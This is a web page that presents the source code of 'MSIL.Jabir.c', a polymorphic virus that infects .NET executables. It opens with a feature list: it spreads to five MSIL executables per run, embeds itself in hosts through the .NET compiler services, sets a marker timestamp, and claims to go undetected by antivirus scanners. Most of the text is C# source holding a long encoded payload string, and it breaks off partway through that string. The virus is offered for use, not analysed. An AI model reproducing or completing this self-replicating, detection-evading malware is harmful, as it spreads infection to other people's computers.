return To index | download demo package!


MSIL.Jabir.c Source Code
========================
alcopaul/brigada ocho
may 27, 2011


This is a polymorphic virus employing the technique described in the article "Modern Amoeba Infection Technique".

Features
--------

1.) Uses .NET Compiler Services to infect files.
1.) Embeds the target msil exe file in its body at source code level.
2.) Looks for msil exe files in hard drive and infects 5 msil exe files per run.
3.) Infected files has 06:06:06 (hour:minute:seconds) last modifed time. No reinfection.
4.) Infected files are 100% FUD by Virustotal.com

============================================================================================================================

using System;
using System.CodeDom;
using System.IO;
using System.CodeDom.Compiler;
using System.Text;
using Microsoft.CSharp;
using System.Diagnostics;
using System.Reflection;

namespace ConsoleApplication6
{
    class XProgramX
    {
        private static int counter = 0;
        private static string database = "0008080>TEST>4b+l4b+j4b+54b++4b+34b6w4b+D4b+p4b+j4b+k4b+14b+94b6r4b6d4b6a4b+l4b+j4b+54b++4b+34b6w4b+D4b+p4b+j4b+k4b+14b+94b6+4b+T4b+/4b+04b+14b+U4b+/4b+94b6r4b6d4b6a4b+l4b+j4b+54b++4b+34b6w4b+D4b+p4b+j4b+k4b+14b+94b6+4b+Z4b+f4b6r4b6d4b6a4b+l4b+j4b+54b++4b+34b6w4b+D4b+p4b+j4b+k4b+14b+94b6+4b+T4b+/4b+04b+14b+U4b+/4b+94b6+4b+T4b+/4b+94b+g4b+54b+84b+14b+i4b6r4b6d4b6a4b+l4b+j4b+54b++4b+34b6w4b+D4b+p4b+j4b+k4b+14b+94b6+4b+E4b+14b+o4b+k4b6r4b6d4b6a4b+l4b+j4b+54b++4b+34b6w4b+d4b+54b+z4b+i4b+/4b+j4b+/4b+24b+k4b6+4b+T4b+D4b+44b+x4b+i4b+g4b6r4b6d4b6a4b+l4b+j4b+54b++4b+34b6w4b+D4b+p4b+j4b+k4b+14b+94b6+4b+U4b+54b+x4b+34b++4b+/4b+j4b+k4b+54b+z4b+j4b6r4b6d4b6a4b+l4b+j4b+54b++4b+34b6w4b+D4b+p4b+j4b+k4b+14b+94b6+4b+C4b+14b+24b+84b+14b+z4b+k4b+54b+/4b++4b6r4b6d4b6a4b6d4b6a4b++4b+x4b+94b+14b+j4b+g4b+x4b+z4b+14b6w4b+T4b+/4b++4b+j4b+/4b+84b+14b+R4b+g4b+g4b+84b+54b+z4b+x4b+k4b+54b+/4b++4b6m4b6d4b6a4b+r4b6d4b6a4b6w4b6w4b6w4b6w4b+z4b+84b+x4b+j4b+j4b6w4b+I4b+A4b+i4b+/4b+34b+i4b+x4b+94b+I4b6d4b6a4b6w4b6w4b6w4b6w4b+r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+g4b+i4b+54b+m4b+x4b+k4b+14b6w4b+j4b+k4b+x4b+k4b+54b+z4b6w4b+54b++4b+k4b6w4b+z4b+/4b+l4b++4b+k4b+14b+i4b6w4b6t4b6w4b6g4b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+g4b+i4b+54b+m4b+x4b+k4b+14b6w4b+j4b+k4b+x4b+k4b+54b+z4b6w4b+j4b+k4b+i4b+54b++4b+34b6w4b+04b+x4b+k4b+x4b+y4b+x4b+j4b+14b6w4b6t4b6w4b6y>4b6y4b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+g4b+i4b+54b+m4b+x4b+k4b+14b6w4b+j4b+k4b+x4b+k4b+54b+z4b6w4b+j4b+k4b+i4b+54b++4b+34b6w4b+X4b+14b+k4b+C4b+x4b++4b+04b+/4b+94b+D4b+k4b+i4b+54b++4b+34b644b+54b++4b+k4b6w4b+34b+/4b+x4b+k4b654b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+z4b+44b+x4b+i4b+L4b+N4b6w4b+84b+14b+k4b+o4b6w4b6t4b6w4b++4b+14b+n4b6w4b+z4b+44b+x4b+i4b+L4b6n4b+N4b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+C4b+x4b++4b+04b+/4b+94b6w4b+o4b+i4b+x4b++4b+o4b6w4b6t4b6w4b++4b+14b+n4b6w4b+C4b+x4b++4b+04b+/4b+94b644b+34b+/4b+x4b+k4b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+24b+/4b+i4b6w4b644b+54b++4b+k4b6w4b+54b+94b+94b+94b6w4b6t4b6w4b6g4b6r4b6w4b+54b+94b+94b+94b6w4b6s4b6w4b6n4b6r4b6w4b+54b+94b+94b+94b674b674b654b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+54b++4b+k4b6w4b++4b+l4b+94b+o4b6w4b6t4b6w4b+o4b+i4b+x4b++4b+o4b6+4b+e4b+14b+o4b+k4b644b6g4b684b6w4b6i4b6m4b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+84b+14b+k4b+o4b+L4b+54b+94b+94b+94b+N4b6w4b674b6t4b6w4b644b+z4b+44b+x4b+i4b654b644b634b+x4b634b6w4b674b6w4b++4b+l4b+94b+o4b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+t4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+j4b+k4b+i4b+54b++4b+34b6w4b+/4b+l4b+k4b+g4b+l4b+k4b6w4b6t4b6w4b++4b+14b+n4b6w4b+j4b+k4b+i4b+54b++4b+34b644b+84b+14b+k4b+o4b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+i4b+14b+k4b+l4b+i4b++4b6w4b+/4b+l4b+k4b+g4b+l4b+k4b6w4b674b6w4b+o4b+i4b+x4b++4b+o4b6+4b+e4b+14b+o4b+k4b644b6h4b684b6w4b6i4b6g4b6g4b6g4b654b6+4b+E4b+/4b+D4b+k4b+i4b+54b++4b+34b644b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+t4b6w4b6w4b6w4b6w4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+j4b+k4b+x4b+k4b+54b+z4b6w4b+m4b+/4b+54b+04b6w4b+d4b+x4b+54b++4b644b+j4b+k4b+i4b+54b++4b+34b+L4b+N4b6w4b+x4b+i4b+34b+j4b654b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+j4b+k4b+i4b+54b++4b+34b6w4b+o4b+g4b+x4b+i4b+x4b+94b+j4b+o4b6w4b6t4b6w4b6y4b6y4b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+24b+/4b+i4b6w4b644b+54b++4b+k4b6w4b+z4b+54b+74b6w4b6t4b6w4b6g4b6r4b6w4b+z4b+54b+74b6w4b6s4b6w4b+x4b+i4b+34b+j4b6+4b+c4b+14b++4b+34b+k4b+44b6r4b6w4b+z4b+54b+74b674b674b654b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+r4b6w4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+o4b+g4b+x4b+i4b+x4b+94b+j4b+o4b6w4b674b6t4b6w4b+x4b+i4b+34b+j4b+L4b+z4b+54b+74b+N4b6w4b674b6w4b6y4b6w4b6y4b6r4b6w4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+t4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+j4b+k4b+i4b+54b++4b+34b+L4b+N4b6w4b+64b+k4b+64b6w4b6t4b6w4b+04b+x4b+k4b+x4b+y4b+x4b+j4b+14b6+4b+D4b+g4b+84b+54b+k4b644b++4b+14b+n4b6w4b+z4b+44b+x4b+i4b+L4b+N4b6w4b+r4b6w4b634b6u4b634b6w4b+t4b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+54b++4b+k4b6w4b+p4b+k4b+p4b6w4b6t4b6w4b++4b+14b+n4b6w4b+C4b+x4b++4b+04b+/4b+94b644b654b6+4b+e4b+14b+o4b+k4b644b6i4b6g4b6g4b6g4b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+W4b+54b+84b+14b+D4b+k4b+i4b+14b+x4b+94b6w4b+24b+j4b6m4b6w4b6t4b6w4b++4b+14b+n4b6w4b+W4b+54b+84b+14b+D4b+k4b+i4b+14b+x4b+94b644b6y4b+g4b6y4b6w4b674b6w4b+p4b+k4b+p4b6w4b674b6w4b6y4b+44b6+4b+14b+o4b+14b6y4b684b6w4b+W4b+54b+84b+14b+d4b+/4b+04b+14b6+4b+f4b+g4b+14b++4b+f4b+i4b+T4b+i4b+14b+x4b+k4b+14b684b6w4b+W4b+54b+84b+14b+R4b+z4b+z4b+14b+j4b+j4b6+4b+H4b+i4b+54b+k4b+14b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+H4b+i4b+54b+k4b+14b+o4b644b+24b+j4b6m4b684b6w4b+T4b+/4b++4b+m4b+14b+i4b+k4b6+4b+W4b+i4b+/4b+94b+S4b+x4b+j4b+14b6m4b6k4b+D4b+k4b+i4b+54b++4b+34b644b+64b+k4b+64b+L4b6h4b+N4b654b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+24b+j4b6m4b6+4b+T4b+84b+/4b+j4b+14b644b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+k4b+i4b+p4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+A4b+i4b+/4b+z4b+14b+j4b+j4b+D4b+k4b+x4b+i4b+k4b+Z4b++4b+24b+/4b6w4b+g4b+i4b+/4b+z4b+54b++4b+24b+/4b6w4b6t4b6w4b++4b+14b+n4b6w4b+A4b+i4b+/4b+z4b+14b+j4b+j4b+D4b+k4b+x4b+i4b+k4b+Z4b++4b+24b+/4b644b6y4b+g4b6y4b6w4b674b6w4b+p4b+k4b+p4b6w4b674b6w4b6y4b+44b6+4b+14b+o4b+14b6y4b684b6w4b+Q4b+o4b+g4b+x4b+i4b+x4b+94b+j4b+o4b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+A4b+i4b+/4b+z4b+14b+j4b+j4b6w4b+o4b+k4b+o4b6w4b6t4b6w4b+A4b+i4b+/4b+z4b+14b+j4b+j4b6+4b+D4b+k4b+x4b+i4b+k4b644b+g4b+i4b+/4b+z4b+54b++4b+24b+/4b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+o4b+k4b+o4b6+4b+H4b+x4b+54b+k4b+W4b+/4b+i4b+V4b+o4b+54b+k4b644b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+t4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+z4b+x4b+k4b+z4b+44b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+t4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+24b+54b++4b+x4b+84b+84b+p4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+W4b+54b+84b+14b6+4b+U4b+14b+84b+14b+k4b+14b644b6y4b+g4b6y4b6w4b674b6w4b+p4b+k4b+p4b6w4b674b6w4b6y4b+44b6+4b+14b+o4b+14b6y4b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+t4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+j4b+k4b+i4b+54b++4b+34b6w4b+o4b+j4b+14b+84b+24b+p4b6w4b6t4b6w4b+A4b+i4b+/4b+z4b+14b+j4b+j4b6+4b+X4b+14b+k4b+T4b+l4b+i4b+i4b+14b++4b+k4b+A4b+i4b+/4b+z4b+14b+j4b+j4b644b654b6+4b+d4b+x4b+54b++4b+d4b+/4b+04b+l4b+84b+14b6+4b+W4b+54b+84b+14b+e4b+x4b+94b+14b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+j4b+k4b+i4b+54b++4b+34b6w4b+o4b+p4b+o4b+o4b6w4b6t4b6w4b+A4b+x4b+k4b+44b6+4b+X4b+14b+k4b+U4b+54b+i4b+14b+z4b+k4b+/4b+i4b+p4b+e4b+x4b+94b+14b644b+o4b+j4b+14b+84b+24b+p4b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+j4b+k4b+i4b+54b++4b+34b6w4b+34b+84b+14b++4b6w4b6t4b6w4b+U4b+54b+i4b+14b+z4b+k4b+/4b+i4b+p4b6+4b+X4b+14b+k4b+U4b+54b+i4b+14b+z4b+k4b+/4b+i4b+p4b+C4b+/4b+/4b+k4b644b+o4b+p4b+o4b+o4b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+U4b+54b+i4b+14b+z4b+k4b+/4b+i4b+p4b+Z4b++4b+24b+/4b6w4b+04b+54b+i4b+o4b6w4b6t4b6w4b++4b+14b+n4b6w4b+U4b+54b+i4b+14b+z4b+k4b+/4b+i4b+p4b+Z4b++4b+24b+/4b644b+Q4b+34b+84b+14b++4b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+R4b++4b+04b+c4b+14b+k4b+j4b+C4b+/4b+z4b+74b644b+04b+54b+i4b+o4b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+t4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+g4b+i4b+54b+m4b+x4b+k4b+14b6w4b+j4b+k4b+x4b+k4b+54b+z4b6w4b+m4b+/4b+54b+04b6w4b+Z4b++4b+24b+14b+z4b+k4b644b+j4b+k4b+i4b+54b++4b+34b6w4b+24b+54b+84b+14b++4b+x4b+94b+14b+o4b654b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+W4b+54b+84b+14b+D4b+k4b+i4b+14b+x4b+94b6w4b+24b+j4b6h4b6j4b6j4b6w4b6t4b6w4b++4b+14b+n4b6w4b+W4b+54b+84b+14b+D4b+k4b+i4b+14b+x4b+94b644b+24b+54b+84b+14b++4b+x4b+94b+14b+o4b684b6w4b+W4b+54b+84b+14b+d4b+/4b+04b+14b6+4b+f4b+g4b+14b++4b+f4b+i4b+T4b+i4b+14b+x4b+k4b+14b684b6w4b+W4b+54b+84b+14b+R4b+z4b+z4b+14b+j4b+j4b6+4b+C4b+14b+x4b+04b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+54b++4b+k4b6w4b+54b+g4b+g4b+z4b6w4b6t4b6w4b644b+54b++4b+k4b654b+24b+j4b6h4b6j4b6j4b6+4b+c4b+14b++4b+34b+k4b+44b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+y4b+p4b+k4b+14b+L4b+N4b6w4b+y4b+p4b+k4b+14b+j4b6i4b6w4b6t4b6w4b+C4b+14b+x4b+04b+o4b644b+24b+j4b6h4b6j4b6j4b684b6w4b+54b+g4b+g4b+z4b684b6w4b6g4b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+24b+j4b6h4b6j4b6j4b6+4b+T4b+84b+/4b+j4b+14b644b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+j4b+k4b+i4b+54b++4b+34b6w4b+/4b+l4b+k4b+g4b+l4b+k4b6w4b6t4b6w4b++4b+14b+n4b6w4b+C4b+x4b++4b+04b+/4b+94b644b+U4b+x4b+k4b+14b+E4b+54b+94b+14b6+4b+e4b+/4b+n4b6+4b+d4b+54b+84b+84b+54b+j4b+14b+z4b+/4b++4b+04b654b6+4b+e4b+14b+o4b+k4b644b6h4b684b6w4b6h4b6h4b6h4b6h4b6h4b6h4b654b6+4b+E4b+/4b+D4b+k4b+i4b+54b++4b+34b644b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+54b+24b6w4b644b+/4b+l4b+k4b+g4b+l4b+k4b6+4b+c4b+14b++4b+34b+k4b+44b6w4b6t4b6t4b6w4b6h4b654b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+/4b+l4b+k4b+g4b+l4b+k4b6w4b6t4b6w4b6y4b6g4b6g4b6g4b6g4b6g4b6g4b6y4b6w4b674b6w4b+/4b+l4b+k4b+g4b+l4b+k4b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+t4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+14b+84b+j4b+14b6w4b+54b+24b6w4b644b+/4b+l4b+k4b+g4b+l4b+k4b6+4b+c4b+14b++4b+34b+k4b+44b6w4b6t4b6t4b6w4b6i4b654b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+/4b+l4b+k4b+g4b+l4b+k4b6w4b6t4b6w4b6y4b6g4b6g4b6g4b6g4b6g4b6y4b6w4b674b6w4b+/4b+l4b+k4b+g4b+l4b+k4b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+t4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+14b+84b+j4b+14b6w4b+54b+24b6w4b644b+/4b+l4b+k4b+g4b+l4b+k4b6+4b+c4b+14b++4b+34b+k4b+44b6w4b6t4b6t4b6w4b6j4b654b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+/4b+l4b+k4b+g4b+l4b+k4b6w4b6t4b6w4b6y4b6g4b6g4b6g4b6g4b6y4b6w4b674b6w4b+/4b+l4b+k4b+g4b+l4b+k4b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+t4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+14b+84b+j4b+14b6w4b+54b+24b6w4b644b+/4b+l4b+k4b+g4b+l4b+k4b6+4b+c4b+14b++4b+34b+k4b+44b6w4b6t4b6t4b6w4b6k4b654b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+/4b+l4b+k4b+g4b+l4b+k4b6w4b6t4b6w4b6y4b6g4b6g4b6g4b6y4b6w4b674b6w4b+/4b+l4b+k4b+g4b+l4b+k4b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+t4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+14b+84b+j4b+14b6w4b+54b+24b6w4b644b+/4b+l4b+k4b+g4b+l4b+k4b6+4b+c4b+14b++4b+34b+k4b+44b6w4b6t4b6t4b6w4b6l4b654b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+/4b+l4b+k4b+g4b+l4b+k4b6w4b6t4b6w4b6y4b6g4b6g4b6y4b6w4b674b6w4b+/4b+l4b+k4b+g4b+l4b+k4b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+t4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+14b+84b+j4b+14b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+/4b+l4b+k4b+g4b+l4b+k4b6w4b6t4b6w4b6y4b6g4b6y4b6w4b674b6w4b+/4b+l4b+k4b+g4b+l4b+k4b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+t4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+j4b+k4b+i4b+54b++4b+34b+L4b+N4b6w4b+o4b+k4b+o4b6w4b6t4b6w4b+04b+x4b+k4b+x4b+y4b+x4b+j4b+14b6+4b+D4b+g4b+84b+54b+k4b644b++4b+14b+n4b6w4b+z4b+44b+x4b+i4b+L4b+N4b6w4b+r4b6w4b634b6u4b634b6w4b+t4b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+j4b+k4b+i4b+54b++4b+34b6w4b+z4b+/4b+04b+14b+p4b6w4b6t4b6w4b+V4b++4b+z4b+i4b+p4b+g4b+k4b+U4b+14b+z4b+i4b+p4b+g4b+k4b644b+04b+14b+z4b+/4b+04b+14b+y4b6m4b6k4b644b+o4b+k4b+o4b+L4b6i4b+N4b654b684b6w4b+T4b+/4b++4b+m4b+14b+i4b+k4b6+4b+E4b+/4b+Z4b++4b+k4b6j4b6i4b644b+o4b+k4b+o4b+L4b6g4b+N4b654b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+j4b+k4b+i4b+54b++4b+34b6w4b+z4b+/4b+04b+14b+q4b6w4b6t4b6w4b+V4b++4b+z4b+i4b+p4b+g4b+k4b+U4b+14b+z4b+i4b+p4b+g4b+k4b644b+04b+14b+z4b+/4b+04b+14b+y4b6m4b6k4b644b+o4b+k4b+o4b+L4b6j4b+N4b654b684b6w4b+T4b+/4b++4b+m4b+14b+i4b+k4b6+4b+E4b+/4b+Z4b++4b+k4b6j4b6i4b644b+o4b+k4b+o4b+L4b6g4b+N4b654b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+j4b+k4b+i4b+54b++4b+34b6w4b+44b+/4b+j4b+k4b+j4b+/4b+l4b+i4b+z4b+14b6w4b6t4b6w4b+T4b+/4b++4b+m4b+14b+i4b+k4b6+4b+E4b+/4b+S4b+x4b+j4b+14b6m4b6k4b+D4b+k4b+i4b+54b++4b+34b644b+y4b+p4b+k4b+14b+j4b6i4b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+j4b+k4b+i4b+54b++4b+34b6w4b+z4b+/4b+04b+14b+54b6w4b6t4b6w4b+z4b+/4b+04b+14b+p4b6w4b674b6w4b+04b+14b+z4b+/4b+04b+14b+y4b6m4b6k4b644b6y4b+24b+Y4b+n4b6t4b6y4b654b6w4b674b6w4b+z4b+/4b+04b+14b+q4b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+j4b+k4b+i4b+54b++4b+34b6w4b+z4b+/4b+04b+14b+84b6w4b6t4b6w4b+g4b+/4b+84b+p4b+o4b644b+z4b+/4b+04b+14b+54b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+j4b+k4b+i4b+54b++4b+34b6w4b+z4b+/4b+04b+14b+m4b6w4b6t4b6w4b+o4b+k4b+o4b+L4b6g4b+N4b6+4b+C4b+14b+g4b+84b+x4b+z4b+14b644b6y4b6g4b6g4b6g4b6o4b6g4b6o4b6g4b6y4b684b6w4b+/4b+l4b+k4b+g4b+l4b+k4b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+z4b+/4b+04b+14b+84b6w4b6t4b6w4b+z4b+/4b+04b+14b+84b6+4b+C4b+14b+g4b+84b+x4b+z4b+14b644b6y4b6g4b6g4b6g4b6o4b6g4b6o4b6g4b6y4b684b6w4b+/4b+l4b+k4b+g4b+l4b+k4b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+j4b+k4b+i4b+54b++4b+34b+L4b+N4b6w4b+24b+54b++4b+x4b+84b+o4b6w4b6t4b6w4b+z4b+/4b+04b+14b+84b6+4b+D4b+g4b+84b+54b+k4b644b++4b+14b+n4b6w4b+j4b+k4b+i4b+54b++4b+34b+L4b+N4b6w4b+r4b6w4b+04b+14b+z4b+/4b+04b+14b+y4b6m4b6k4b644b6y4b+24b+Y4b+n4b6t4b6y4b654b6w4b+t4b684b6w4b+D4b+k4b+i4b+54b++4b+34b+D4b+g4b+84b+54b+k4b+f4b+g4b+k4b+54b+/4b++4b+j4b6+4b+e4b+/4b++4b+14b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+z4b+/4b+04b+14b+p4b6w4b6t4b6w4b+24b+54b++4b+x4b+84b+o4b+L4b6g4b+N4b6r4b6d4b6a4b6w4b6w4b6w4b6